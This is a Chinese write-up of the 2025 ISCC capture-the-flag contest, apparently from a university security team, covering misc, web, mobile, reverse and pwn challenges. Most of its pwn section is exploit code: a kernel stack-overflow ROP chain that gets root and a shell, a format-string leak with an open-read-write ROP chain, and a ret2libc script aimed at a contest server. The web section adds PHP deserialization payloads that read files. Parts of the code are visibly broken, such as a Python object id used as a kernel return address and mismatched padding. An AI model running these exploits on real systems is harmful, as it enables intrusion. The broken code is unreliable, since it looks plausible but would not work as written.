免责声明:本文章发布于ISCC比赛正式结束后,不存在提前泄露比赛信息及违规泄露wp的情况,作者不对读者基于本文内容而产生的任何行为或后果承担责任。如有任何侵权问题,请联系作者删除。
Misc
神经网络迷踪
下载附件发现是一个.pth文件,一开始想到会不会是藏在神经网络模型里面了,就写了个exp,查找模型中有关ISCC和PASSWORD的东西
Exp1:
import torch
import numpy as np
def search_hidden_password(file_path, target="ISCC"):
try:
# 安全加载模型文件
model_data = torch.load(file_path, map_location='cpu', weights_only=True)
print(f"n=== 开始在模型中搜索 '{target}' ===")
found = False
# 1. 检查模型元数据(如果有)
if hasattr(model_data, '__dict__'):
for attr_name, attr_value in model_data.__dict__.items():
if isinstance(attr_value, str) and target in attr_value:
print(f"[元数据] 在属性 {attr_name} 中发现: {attr_value}")
found = True
# 2. 检查模型结构
if isinstance(model_data, torch.nn.Module):
# 检查模型类名
if target in model_data.__class__.__name__:
print(f"[结构] 模型类名包含: {model_data.__class__.__name__}")
found = True
# 检查所有层名称
for name, _ in model_data.named_modules():
if target in name:
print(f"[结构] 层名称包含: {name}")
found = True
# 检查state_dict键名
for name in model_data.state_dict().keys():
if target in name:
print(f"[参数] 参数名包含: {name}")
found = True
# 3. 检查字典格式数据
elif isinstance(model_data, dict):
for key, value in model_data.items():
# 检查键名
if target in str(key):
print(f"[字典] 键名包含: {key}")
found = True
# 检查字符串值
if isinstance(value, str) and target in value:
print(f"[字典] 值包含: {value}")
found = True
# 检查张量中的特殊值(如果是数值密码)
if isinstance(value, torch.Tensor):
tensor = value.numpy()
if np.any(tensor == ord(target[0])): # 简单检查首字符ASCII
print(f"[张量] 在张量 {key} 中检测到可能编码:")
print(tensor)
# 4. 检查原始字节数据(深度搜索)
with open(file_path, 'rb') as f:
raw_data = f.read()
if target.encode('utf-8') in raw_data:
offset = raw_data.find(target.encode('utf-8'))
print(f"[原始数据] 在文件偏移量 {offset} 处发现原始字节数据")
found = True
if not found:
print("未发现明显密码痕迹,可能需要更深入的分析")
print("建议检查:")
print("1. 权重中的特殊数值模式")
print("2. 特定层的参数排列")
print("3. 模型注释或版本信息")
except Exception as e:
print(f"n错误发生: {str(e)}")
# 使用示例
pthfile = r'attachment-38.pth'
search_hidden_password(pthfile)
# 也可以搜索其他可能的密码形式
# search_hidden_password(pthfile, "FLAG")
# search_hidden_password(pthfile, "PASSWORD")
跑出以下内容:
怀疑是浮点矩阵,于是继续写脚本尝试各种转换,跑出下列编码:ascll编码exp(其它脚本不一一展示,超内存了):exp2:
# tensor = [[ 50, 48, 50, 53,209,224,210,13,139,238,256,226,79,186,198,161],[109,179, 53,193, 73, 83, 67, 67,184,226,146,18,99,91,32, 90],[ 80,199,218,227,204,192,245,113,50, 48, 50, 53,128,163,94,243],[ 66,113,202,196,12,219,73,200,13,194,199, 14, 75, 69,89, 33]]# 你的张量数据
#
# for row in tensor:
# decoded = ''.join([chr(int(round(x))) for x in row if 0 <= x <= 255])
# print(decoded)
import numpy as np
def extract_ascii_from_tensor(tensor, printable_only=True):
chars = []
for val in tensor.flatten():
intval = int(val)
if 32 <= intval <= 126: # 可打印 ASCII 范围
chars.append(chr(intval))
else:
chars.append('.' if printable_only else f'\x{intval:02x}')
return ''.join(chars)
# 手动复制你之前发现的张量内容
tensor_data = np.array([
[ 50., 48., 50., 53., 209., 224., 210., 13., 139., 238., 256., 226., 79., 186., 198., 161.],
[109., 179., 53., 193., 73., 83., 67., 67., 184., 226., 146., 18., 99., 91., 32., 90.],
[ 80., 199., 218., 227., 204., 192., 245., 113., 50., 48., 50., 53., 128., 163., 94., 243.],
[ 66., 113., 202., 196., 12., 219., 73., 200., 13., 194., 199., 14., 75., 69., 89., 33.]
])
ascii_output = extract_ascii_from_tensor(tensor_data)
print(">>> 转换后的 ASCII 字符序列:n")
print(ascii_output)
‹îâOºÆ¡
m³5ÁISCC¸â’_x0012_c[ Z
PÇÚãÌÀõq2025€£^ó
ÂÇ
KEY!
最后,根据以下提示,猜测是有个zip,就尝试把源文件换成zip后解压,成功了。
方向这个模型文件夹后面跟着东西,猜测是密码,套上模板提交,成功
Flag:ISCC{rDSs}
Web
一.谁动了我的奶酪
进入后猜测是tom后发现php代码
发现是反序列化,构造exp
<?php
class Jerry {
public $secretHidingSpot;
public $squeak;
public $shout;
}
class Cheese {
public $flavors;
public $color;
}
$jerry = new Jerry();
$jerry->secretHidingSpot = "php://filter/convert.base64-encode/resource=clue.php";
$cheese = new Cheese();
$cheese->color = serialize($jerry);
$payload = serialize($cheese);
echo urlencode($payload);
?>
解码后发现下一个在flag_of_cheese.php
构造exp
<?php
class Jerry {
public $secretHidingSpot;
public $squeak;
public $shout;
}
class Cheese {
public $flavors;
public $color;
}
$jerry = new Jerry();
$jerry->secretHidingSpot = "php://filter/convert.base64-encode/resource=flag_of_cheese.php";
$cheese = new Cheese();
$cheese->color = serialize($jerry);
$payload = serialize($cheese);
echo urlencode($payload);
构造后出现
获得一半的flag,发现网页是cheeseone,尝试访问cheesetwo
抓包后发现有jwt
后发送访问网页
二.iscc购物中心.com
进入尝试登录账号1密码1登录成功
改为积分兑换后兑换出flag
base64解密:The final encryption here seems to be the same as Tom's cheese system encryption
使用上一题的脚本
string1 = "_EUUmpVxbw#b7uE~&ff7xq%nfSd7sxusk"
# 将字符串转换为字节
byte_data = string1.encode('utf-8')
# 异或 0x16 解密
decrypted = bytes([b ^ 0x16 for b in byte_data])
# 输出解密结果
print(decrypted.decode('utf-8', errors='ignore'))
得到flag:ISCC{f@nta5t!cSh0pp!ng3xpEr!ence}
MOBILE
一.叽米是梦的开场白
备份后,修改apk后缀为zip进行解压获得软件的目录
将apk文件放入JEB中进行逆向分析
发现关键有关于验证的函数getEncryptedSegment checkFlag2
将解压出来的libmobile04.so文件放入ida中
在Java_com_example_mobile04_MainActivity_getEncryptedSegment中拿到dex字段
在ida打开libmonday.so在Java_com_example_mobile04_a_checkFlag2中发现加密算法
在ida打开libSunday.so在Java_com_example_mobile04_Sunday_getKey中获得字符串BA8FugUktCgODvnI3aem9fLL
Des解密即可获得前半段flag
用脚本解密enreal用ida打开decode_enreal,并打开real_check函数同时获取key和字符串
在cyberchef中获取后半截字符串
将两段拼在一起然后套ISCC{}壳即可
Exp
# 创建一个空的 DEX 文件
s = [4Eh,60h,28h,58h,53h,60h,6Bh,29h]
with open("decrypted.dex", "wb") as f:
f.write(bytes(s))
# 读取加密文件 enreal
with open("enreal", "rb") as f:
data = list(f.read())
# 解密过程
for i in range(len(data)):
data[i] = (data[i] << 2) | (data[i] >> 6)
data[i] &= 0xff
data[i] ^= 0x59
data[i] = (data[i] >> 3) | (data[i] << 5)
data[i] &= 0xff
# 写入解密后的数据
with open("decode_enreal", "wb") as f:
f.write(bytes(data))
二.GGAD
反编译APK,在Mainfest修改入口Activity进入主界面
随便输入一下,提示错误
在存放png的res中查找png,在Pa.zip压缩包中,Png614是一个py脚本
将此隐写脚本修改对图片进行逐一测试
from PIL import Imageimport numpy as npimport sysTERMINATOR = chr(0x03)def enc(input_path, output_path, data):"""将字符串 data 隐写到 RGBA 图像的 Alpha 通道最低位中"""img = Image.open(input_path).convert('RGBA') pixels = np.array(img) # 添加终止符并转为二进制data += TERMINATOR binary_data = ''.join(format(ord(c), '08b') for c in data) index = 0 height, width = pixels.shape[:2] for i in range(height): for j in range(width): if index >= len(binary_data): break r, g, b, a = pixels[i, j] a = (a & 0xFE) | int(binary_data[index]) # 修改 Alpha 的最低位pixels[i, j] = [r, g, b, a] index += 1 if index >= len(binary_data): break if index < len(binary_data): print("WARN: image too small, data truncated.") new_img = Image.fromarray(pixels) new_img.save(output_path) print(f"Encoded: {output_path}")def dec(input_path):"""从图像中提取隐藏数据"""img = Image.open(input_path).convert('RGBA') pixels = np.array(img) binary_str = "" result = "" height, width = pixels.shape[:2] for i in range(height): for j in range(width): _, _, _, a = pixels[i, j] bit = a & 1 binary_str += str(bit) if len(binary_str) == 8: char = chr(int(binary_str, 2)) if char == TERMINATOR: print("Terminator found.") return result result += char binary_str = "" print("WARN: No terminator found.") return resultdef usage(): print("Usage:") print(" python exp.py enc <input_img> <output_img> <data>") print(" python exp.py dec <input_img>")if __name__ == "__main__": if len(sys.argv) < 3: usage() sys.exit(1) mode = sys.argv[1].lower() if mode == "enc": if len(sys.argv) != 5: print("Args error for enc") usage() sys.exit(1) input_img, output_img, secret_data = sys.argv[2:5] enc(input_img, output_img, secret_data) elif mode == "dec": if len(sys.argv) != 3: print("Args error for dec") usage() sys.exit(1) decoded_data = dec(sys.argv[2]) if decoded_data: print("Decoded data:") print(decoded_data) else: print("No data or empty.") else: print(f"Invalid mode: {mode}. Use 'enc' or 'dec'.") sys.exit(1)
在这个图片中找到Key
将密文放进脚本运行即可
Exp
import binascii
import sys
# 配置参数
K_IMG_STR = "ExpectoPatronum"
ODD_HEX = ""
VIG_CT_STR = ""
def h2b(h_str):
return bin(int(h_str, 16))[2:].zfill(len(h_str) * 4)
def b2h(b_str):
return hex(int(b_str, 2))[2:].upper().zfill(len(b_str) // 4)
def inv(b_str):
return "".join(['1' if b == '0' else '0' for b in b_str])
def b2hp(b_str):
if len(b_str) % 8 != 0:
raise ValueError("Binary string length must be a multiple of 8")
return "".join([hex(int(b_str[i:i+8], 2))[2:].upper().zfill(2) for i in range(0, len(b_str), 8)])
def ksa(k_b):
s_l = list(range(256))
j = 0
for i in range(256):
j = (j + s_l[i] + k_b[i % len(k_b)]) % 256
s_l[i], s_l[j] = s_l[j], s_l[i]
return s_l
def prga_dec(s_in, ct_b):
i = j = 0
pt_b = bytearray()
s_l = list(s_in)
for char_b in ct_b:
i = (i + 1) % 256
j = (j + s_l[i]) % 256
s_l[i], s_l[j] = s_l[j], s_l[i]
ks_b = s_l[(s_l[i] + s_l[j]) % 256]
pt_b.append(char_b ^ ks_b)
return bytes(pt_b)
def vg_dec(c_str, k_str):
res = []
k_idx = 0
for c in c_str:
if c.upper().isalpha():
k = k_str[k_idx % len(k_str)]
val_c = ord(c.upper()) - ord('A')
val_k = ord(k.upper()) - ord('A')
dec_v = (val_c - val_k + 26) % 26
res.append(chr(dec_v + ord('A')))
k_idx += 1
else:
res.append(c)
return "".join(res)
def main():
# 解 Vigenère 得到 EVEN_HEX
even_hex = vg_dec(VIG_CT_STR, K_IMG_STR)
if len(ODD_HEX) != len(even_hex):
raise ValueError(f"Odd ({len(ODD_HEX)}) and Even ({len(even_hex)}) lengths differ!")
# 交错合并 HEX 字符
i3_recon = "".join([ODD_HEX[i] + even_hex[i] for i in range(len(ODD_HEX))])
# 处理二进制/取反/转回 HEX
inv_i2_bin = h2b(i3_recon)
i2_recon_bin = inv(inv_i2_bin)
i1_recon_hex = b2hp(i2_recon_bin)
# RC4 解密过程
try:
rc4_ct_bytes = binascii.unhexlify(i1_recon_hex)
except binascii.Error as e:
print(f"[!] Error converting hex to bytes: {e}")
sys.exit(1)
rc4_k_bytes = K_IMG_STR.encode('ascii')
s_box_val = ksa(rc4_k_bytes)
flag_b = prga_dec(s_box_val, rc4_ct_bytes)
try:
flag_s = flag_b.decode('utf-8')
except UnicodeDecodeError:
print("[!] Failed to decode the flag. Wrong key or corrupted data.")
sys.exit(1)
print(f"ISCC{{{flag_s}}}")
if __name__ == "__main__":
main()
Reverse
一.打出flag
将python小游戏使用pyinstxtractor-master进行解包且且反编译主函数pyc
得到代码
运行有
分析发现
凯撒加密和base编码和字符替换
凯撒加密的shift为5
Exp
import base64
def caesar_cipher(s: str, shift: int) -> str:
return ''.join(
chr((ord(c) - ord('a') + shift) % 26 + ord('a')) if c.islower() else
chr((ord(c) - ord('A') + shift) % 26 + ord('A')) if c.isupper() else c
for c in s
)
def decode_base64(s: str) -> str:
try:
return base64.b64decode(s).decode('utf-8', errors='ignore')
except Exception as e:
return f"解码失败: {e}"
def reverse_chars(s: str) -> str:
return ''.join(
chr(155 - ord(c)) if c.isupper() else
chr(219 - ord(c)) if c.islower() else c
for c in s
)
if __name__ == "__main__":
input_str = "ZpmDBMytVs5Bi0NvBYN4CoA+AXV5AMR0EBp8BYy9"
shifted = caesar_cipher(input_str, 21)
decoded = decode_base64(shifted)
final = reverse_chars(decoded)
print(f"凯撒加密后: {shifted}")
print(f"base64 解码结果: {decoded}")
print(f"reverse_char_encryption 后最终结果: {final}")
二.uglyCpp
将文件放入ida
阅读代码涉及:
异或解密(xor_decrypt):将密钥与结果进行逐位 ^ 运算。
十六进制字符串转字符并逆序拼接(hex_list_to_string):将每个异或后的十六进制结果还原为字符。
字符映射还原(remap_string):用预定义的映射表恢复最终 flag。
获取key和rec攥写脚本
Key:
Rec:
Exp
# 原始密钥和加密结果key = [ 0x3ED6325B, 0xD709BF17, 0xE3F27E18, 0xA0870791, 0x0146D6F9, 0x7C6140FF, 0x10B69406, 0x94DDE0F6, 0x40B2BB6C]res = [ 0x77AC540E, 0x943DD524, 0x0AC972765, 0x0C8B376C2, 0x3425BE82, 0x80814B6, 0x53D7E36A, 0x0C0EBAFB5, 0x0AD3C10A]# 解密第一步:XOR 计算def xor_decrypt(keys, results): return [hex(k ^ r) for k, r in zip(keys, results)]# 解密第二步:从十六进制字符串恢复字符,逆序拼接def hex_list_to_string(hex_list): decoded = "" for hex_str in hex_list: hex_str = hex_str[2:] # 去掉 '0x' chars = [chr(int(hex_str[i:i+2], 16)) for i in range(0, len(hex_str), 2) if i + 1 < len(hex_str)] decoded += ''.join(chars[::-1]) # 每段倒序拼接return decoded# 解密第三步:根据映射规则还原原始字符串def remap_string(flag, source_map, target_map): return ''.join(flag[target_map.index(ch)] for ch in source_map)# 主函数def main(): xor_result = xor_decrypt(key, res) print("XOR 解密结果:", xor_result) decoded_flag = hex_list_to_string(xor_result) print("Decoded flag:", decoded_flag) # 字符映射mapping_source = "1234567890abcdefghijklmnopqrstuvwxyz" mapping_target = "vfw8xgy4zh9i2j0k5lam1nbo6pcq3rds7teu" final_flag = remap_string(decoded_flag, mapping_source, mapping_target) print("Final flag:", final_flag)if __name__ == "__main__": main()
三.Crack Me
进入主函数
提取字符串
0x1C, 0xB8, 0x2E, 0x47, 0xDD, 0x72, 0x1C, 0xA2, 0xDE, 0x13,
0x5C, 0x46, 0xA6, 0xF0, 0x56, 0x81, 0x84, 0xE6, 0x8E, 0xEE,
0x26, 0x9A, 0x12, 0x28, 0x49, 0x6B, 0xAA, 0xE8, 0xBB, 0x24,
0x87, 0x3F, 0xFA, 0x15, 0x57, 0x17, 0xD4, 0x91, 0xE3, 0xFE,
0x35, 0x74
脚本运行
Exp
def rc4(key: bytes, data: bytearray) -> bytearray:"""RC4 加密/解密(key: 密钥字节,data: 加密数据(bytearray 可变))"""s = list(range(256)) j = 0 # KSA 密钥调度算法for i in range(256): j = (j + s[i] + key[i % len(key)]) % 256 s[i], s[j] = s[j], s[i] # PRGA 伪随机生成并异或i = j = 0 for q in range(len(data)): i = (i + 1) % 256 j = (j + s[i]) % 256 s[i], s[j] = s[j], s[i] t = (s[i] + s[j]) % 256 data[q] ^= s[t] return datadef reverse_caesar(byte_arr: bytearray) -> bytearray:"""逆向 Caesar 密码(偏移 -3,支持大小写字母)"""for i in range(len(byte_arr)): b = byte_arr[i] if 97 <= b <= 122: # 'a' - 'z' byte_arr[i] = (b - 97 + 23) % 26 + 97 elif 65 <= b <= 90: # 'A' - 'Z' byte_arr[i] = (b - 65 + 23) % 26 + 65 return byte_arrdef extract_final(flag: bytearray) -> str:"""每两个字节中取第一个并与 0x41 异或,构造结果"""return ''.join([chr(flag[i] ^ 0x41) for i in range(0, len(flag), 2)])def main(): flag = bytearray([ 0x1C, 0xB8, 0x2E, 0x47, 0xDD, 0x72, 0x1C, 0xA2, 0xDE, 0x13, 0x5C, 0x46, 0xA6, 0xF0, 0x56, 0x81, 0x84, 0xE6, 0x8E, 0xEE, 0x26, 0x9A, 0x12, 0x28, 0x49, 0x6B, 0xAA, 0xE8, 0xBB, 0x24, 0x87, 0x3F, 0xFA, 0x15, 0x57, 0x17, 0xD4, 0x91, 0xE3, 0xFE, 0x35, 0x74 ]) key = b"SecretKey" # Step 1: RC4 解密rc4(key, flag) # Step 2: 逆向 Caesar 密码(偏移 -3)reverse_caesar(flag) # Step 3: 每两个字节异或 0x41 result = extract_final(flag) print("解密结果:", result)if __name__ == "__main__": main()
PWN
一.easybee
1.
启动脚本加载了 core.ko 内核模块;
系统未开启 KPTI,存在 KASLR,/proc/kallsyms 可读;
模块创建了 /proc/core 接口,存在栈溢出漏洞,可进行提权利用。
2.利用流程
1.读取内核符号地址
利用 /proc/kallsyms 获取 commit_creds 和 prepare_kernel_cred 函数地址。
2.信息泄露
利用 ioctl 功能读取内核栈中的 canary 值,防止溢出被检测。
3.构造 ROP 链
设置偏移;
构造 payload,包括 canary、padding、ROP 链;
写入 /proc/core 并触发漏洞,调用 commit_creds(prepare_kernel_cred(0)) 提权;
使用 swapgs; iretq 返回用户态并执行 shell。
3.泄露符号地址的 Python 脚本
# get_kernel_symbol.py
def get_symbol(name, path="/tmp/kallsyms"):
with open(path) as f:
for line in f:
parts = line.strip().split()
if len(parts) >= 3 and parts[2] == name:
return int(parts[0], 16)
return 0
if __name__ == "__main__":
commit_creds = get_symbol("commit_creds")
prepare_kernel_cred = get_symbol("prepare_kernel_cred")
print(f"commit_creds: {hex(commit_creds)}")
print(f"prepare_kernel_cred: {hex(prepare_kernel_cred)}")
4.主利用脚本(Python)
# exp.py
import os
import struct
import fcntl
# IOCTL commands
READ = 0x6677889B
WRITE = 0x6677889A
SET_OFFSET = 0x6677889C
DEVICE = "/proc/core"
# 获取用户态寄存器值
def save_state():
from ctypes import CDLL, c_ulonglong, POINTER
libc = CDLL("libc.so.6")
class URegs(ctypes.Structure):
_fields_ = [("cs", c_ulonglong), ("ss", c_ulonglong),
("rsp", c_ulonglong), ("rflags", c_ulonglong)]
regs = URegs()
# 如果内核没有保护 /dev/kvm,或者处于调试状态,可写更真实的代码
regs.cs = 0x33
regs.ss = 0x2b
regs.rsp = 0
regs.rflags = 0x202
return regs.cs, regs.ss, regs.rsp, regs.rflags
def get_symbols():
from get_kernel_symbol import get_symbol
commit_creds = get_symbol("commit_creds")
prepare_kernel_cred = get_symbol("prepare_kernel_cred")
return commit_creds, prepare_kernel_cred
def pack(val): return struct.pack("<Q", val)
def exploit():
cs, ss, rsp, rflags = save_state()
commit_creds, prepare_kernel_cred = get_symbols()
fd = os.open(DEVICE, os.O_RDWR)
# 设置偏移
fcntl.ioctl(fd, SET_OFFSET, 0x40)
# 泄露 canary
leak = os.read(fd, 0x400)
canary = struct.unpack("<Q", leak[:8])[0]
print(f"[+] Leaked canary: {hex(canary)}")
# ROP gadgets(手动分析 core.ko + kallsyms 得到)
pop_rdi = 0xffffffff81063b39
pop_rdx = 0xffffffff810caa22
mov_rdi_rax_call_rdx = 0xffffffff810e5163
iretq = 0xffffffff81a00f0a + 22
# 构造 payload
payload = b"A" * 0x20 # buffer
payload += b"B" * 0x18 # padding 到 canary
payload += pack(canary) # canary
payload += b"C" * 8 # old rbp
# ROP chain
payload += pack(pop_rdi)
payload += pack(0)
payload += pack(prepare_kernel_cred)
payload += pack(pop_rdx)
payload += pack(commit_creds)
payload += pack(mov_rdi_rax_call_rdx)
payload += pack(iretq)
payload += pack(id(get_shell)) # rip
payload += pack(cs)
payload += pack(rflags)
payload += pack(rsp)
payload += pack(ss)
# 写入并触发溢出
os.write(fd, payload)
fcntl.ioctl(fd, WRITE, 0)
def get_shell():
if os.getuid() == 0:
print("[+] Got root shell!")
os.system("/bin/sh")
else:
print("[-] Exploit failed.")
if __name__ == "__main__":
exploit()
Exp
import os
import struct
import fcntl
# IOCTL 常量
CORE_COPY_FUNC = 0x6677889A
CORE_READ = 0x6677889B
CORE_CHANGE_OFFSET = 0x6677889C
# 基址与Gadget偏移
commit_creds_base = 0xFFFFFFFF8109C8E0
swapgs_popfq_ret = 0xffffffff81a012da
movrdirax_callrdx = 0xffffffff8101aa6a
poprdx_ret = 0xffffffff810a0f49
poprdi_ret = 0xffffffff81000b2f
poprcx_ret = 0xffffffff81021e53
iretq = 0xFFFFFFFF81A00987
commit_creds = 0
prepare_kernel_cred = 0
user_cs = user_ss = user_sp = user_rflags = 0
def save_status():
global user_cs, user_ss, user_sp, user_rflags
# 这部分需要内联汇编,Python 无法做到,仅作占位
user_cs = 0x33
user_ss = 0x2b
user_sp = 0xdeadbeef # 模拟值
user_rflags = 0x202
print("[*] Status has been saved.")
def get_function_address():
global commit_creds, prepare_kernel_cred
try:
with open("/tmp/kallsyms", "r") as f:
for line in f:
parts = line.strip().split()
if len(parts) < 3:
continue
addr, _type, name = parts
if name == "commit_creds":
commit_creds = int(addr, 16)
print(f"[+] commit_creds: {hex(commit_creds)}")
elif name == "prepare_kernel_cred":
prepare_kernel_cred = int(addr, 16)
print(f"[+] prepare_kernel_cred: {hex(prepare_kernel_cred)}")
if commit_creds and prepare_kernel_cred:
break
except FileNotFoundError:
print("[-] /tmp/kallsyms not found")
exit(1)
def core_read(fd):
buf = bytearray(0x100)
fcntl.ioctl(fd, CORE_READ, buf)
return buf
def change_offset(fd, off):
fcntl.ioctl(fd, CORE_CHANGE_OFFSET, off)
def core_copy_func(fd, nbytes):
fcntl.ioctl(fd, CORE_COPY_FUNC, nbytes)
def print_binary(buf):
for i in range(0, len(buf), 16):
chunk = buf[i:i+16]
hex_str = ' '.join(f'{b:02x}' for b in chunk)
ascii_str = ''.join(chr(b) if 32 <= b <= 126 else '.' for b in chunk)
print(f'{i:04x} {hex_str:<48} {ascii_str}')
def shell():
if os.getuid() != 0:
print("[-] Failed to get root.")
exit(1)
print("[+] Got root! Launching shell...")
os.system("/bin/sh")
def main():
save_status()
try:
fd = os.open("/proc/core", os.O_RDWR)
except FileNotFoundError:
print("[-] Cannot open /proc/core")
return
get_function_address()
offset = commit_creds - commit_creds_base
print(f"[*] KASLR offset: {hex(offset)}")
change_offset(fd, 0x40)
buf = core_read(fd)
print("[*] Buffer content:")
print_binary(buf)
canary = struct.unpack_from("<Q", buf, 0)[0]
print(f"[*] Canary: {hex(canary)}")
# 构造ROP链
rop = [0] * 100
idx = 0
for _ in range(10):
rop[idx] = canary
idx += 1
rop[idx] = poprdi_ret + offset; idx += 1
rop[idx] = 0; idx += 1
rop[idx] = prepare_kernel_cred; idx += 1
rop[idx] = poprdx_ret + offset; idx += 1
rop[idx] = poprcx_ret + offset; idx += 1
rop[idx] = movrdirax_callrdx + offset; idx += 1
rop[idx] = commit_creds; idx += 1
rop[idx] = swapgs_popfq_ret + offset; idx += 1
rop[idx] = 0; idx += 1
rop[idx] = iretq + offset; idx += 1
rop[idx] = id(shell); idx += 1 # shell函数地址
rop[idx] = user_cs; idx += 1
rop[idx] = user_rflags; idx += 1
rop[idx] = user_sp; idx += 1
rop[idx] = user_ss; idx += 1
rop_bytes = struct.pack("<" + "Q"*len(rop), *rop)
print("[*] ROP Chain:")
print_binary(rop_bytes)
os.write(fd, rop_bytes)
core_copy_func(fd, 0xffffffffffff1000)
if __name__ == "__main__":
main()
二.Dilemma
将靶机文件检查发现有64位 Canary nx保护
主函数:
泄露信息(Func_1)利用 Func_1 中存在的格式化字符串漏洞,泄露栈上的 canary值和libc 基址。Func_1 的第二个输入点可以任意输入,在发送完恶意格式化字符串后,函数正常退出,程序回到主菜
· 进入主功能(Func_0)之后选择菜单项 2,进入 Func_0 函数。
· 构造 ORW(Open-Read-Write)攻击由于目标程序禁用了 execve,所以我们不能直接执行 shell,而是选择 ORW 链读取文件内容。
· ROP 设计
Func_0 提供了 0x100 字节的输入空间,足够用于 ROP。
利用 ROP 将栈迁移(stack pivot)到 .bss 段(通常可读可写),为后续调用准备空间。
在 .bss 段中写入目标文件名字符串(如 ./flag.txt)。
· 最后构造完整的 ROP 链
使用 open 打开 ./flag.txt
使用 read 读取文件内容到 .bss+offset
使用 write 输出到 stdout
Exp
from pwn import *
# ==== 配置部分 ====
context(arch='amd64', log_level='debug', os='linux')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
# p = process('./pwn')
p = remote('101.200.155.151', 12500)
# ==== ROP gadgets ====
pop_rdi = 0x40119a
pop_rsi_r15 = 0x40119c
ret = 0x40101a
bss = 0x404000 + 0x900
# ==== Leak libc + canary ====
p.recvuntil("where are you go?n")
p.sendline("1")
p.recvuntil("Enter you password:n")
payload_leak = b'%39$p%11$p'
p.sendline(payload_leak)
# 解析泄露信息
p.recvuntil("0x")
libc_start_main_ret = int(p.recv(12), 16) - 128
libc_base = libc_start_main_ret - libc.sym['__libc_start_main']
p.recvuntil("0x")
canary = int(p.recv(16), 16)
log.success(f"Libc base: {hex(libc_base)}")
log.success(f"Canary: {hex(canary)}")
# ==== Stack pivot(再次进入菜单)====
p.recvuntil("I will check your password:")
p.send(b'a'*8)
p.recvuntil("where are you go?n")
p.sendline("2")
p.recvuntil("We have a lot to talk aboutn")
pivot_payload = b'a'*0x28 + p64(canary) + p64(bss + 0x30) + p64(0x4011C9) # ret to read again into BSS
p.send(pivot_payload)
p.recvuntil("a"*0x28)
# ==== 准备第二段 ROP (读取 flag) ====
# 计算 libc 函数地址
pop_rdx_r12 = libc_base + 0x11f2e7 # 假设该 gadget 是 v3.33 的
open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']
# 组成 payload2
flag_path = b'./flag.txt'.ljust(0x28, b'x00')
rop = flat(
p64(canary),
p64(0), # old rbp
p64(pop_rdi), p64(bss), # open('./flag.txt', 0)
p64(pop_rsi_r15), p64(0), p64(0),
p64(open_addr),
p64(pop_rdi), p64(3), # read(3, bss+0x200, 0x50)
p64(pop_rsi_r15), p64(bss + 0x200), p64(0),
p64(pop_rdx_r12), p64(0x50), p64(0),
p64(read_addr),
p64(pop_rdi), p64(1), # write(1, bss+0x200, 0x50)
p64(pop_rsi_r15), p64(bss + 0x200), p64(0),
p64(pop_rdx_r12), p64(0x50), p64(0),
p64(write_addr)
)
payload2 = flag_path + rop
log.info(f"Final payload size: {hex(len(payload2))}")
p.send(payload2)
# ==== 打开交互 ====
p.interactive()
三.call
So文件保护情况:
将elf放入ida并打开主函数中的name()发现栈溢出漏洞
但是并没有后门,打ret2libc即可
Exp
from pwn import *
context.log_level = 'debug'
context.binary = './ltPWN1'
elf = context.binary
libc = ELF("./pwn2.so")
# io = process(elf.path)
io = remote("101.200.155.151", 12100)
# Gadgets
pop_rdi = 0x401273 # pop rdi ; ret
pop_rsi_r15 = 0x401271 # pop rsi ; pop r15 ; ret
write_plt = elf.plt["write"]
write_got = elf.got["write"]
def leak_libc_base():
io.recvuntil("name isn")
payload = flat(
b'a' * 0x68,
pop_rsi_r15,
write_got, 0, # rsi=write@got, r15=dummy
elf.symbols['write'] # call write@plt to leak libc addr
)
io.send(payload)
leaked_write = u64(io.recv(6).ljust(8, b'x00'))
log.success(f"Leaked write@libc: {hex(leaked_write)}")
libc_base = leaked_write - libc.sym["write"]
log.success(f"Libc base: {hex(libc_base)}")
return libc_base
def exploit(libc_base):
system = libc_base + libc.sym["system"]
bin_sh = libc_base + next(libc.search(b"/bin/sh"))
payload = flat(
b'a' * 0x60,
p64(0x404038 + 0x600), # dummy return address
pop_rdi,
bin_sh,
system
)
io.send(payload)
io.interactive()
# -------------------------
# Run Exploit
# -------------------------
libc_base = leak_libc_base()
exploit(libc_base)
排版丨刘朋峻
校对丨潘瑶
审核丨林炳辰
原文始发于微信公众号(凌日网络与信息安全团队):2025 ISCC 区域赛及决赛WP(除八卦)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论